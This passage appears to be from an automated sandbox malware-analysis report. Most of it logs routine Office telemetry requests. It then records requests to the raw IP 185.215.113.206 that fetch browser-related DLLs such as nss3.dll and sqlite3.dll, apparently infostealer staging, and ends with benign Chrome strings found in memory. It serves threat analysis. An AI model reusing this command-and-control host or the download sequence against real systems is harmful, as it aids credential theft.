Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1790455494.000005F400EFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790529680.000005F40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790289555.000005F400F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new 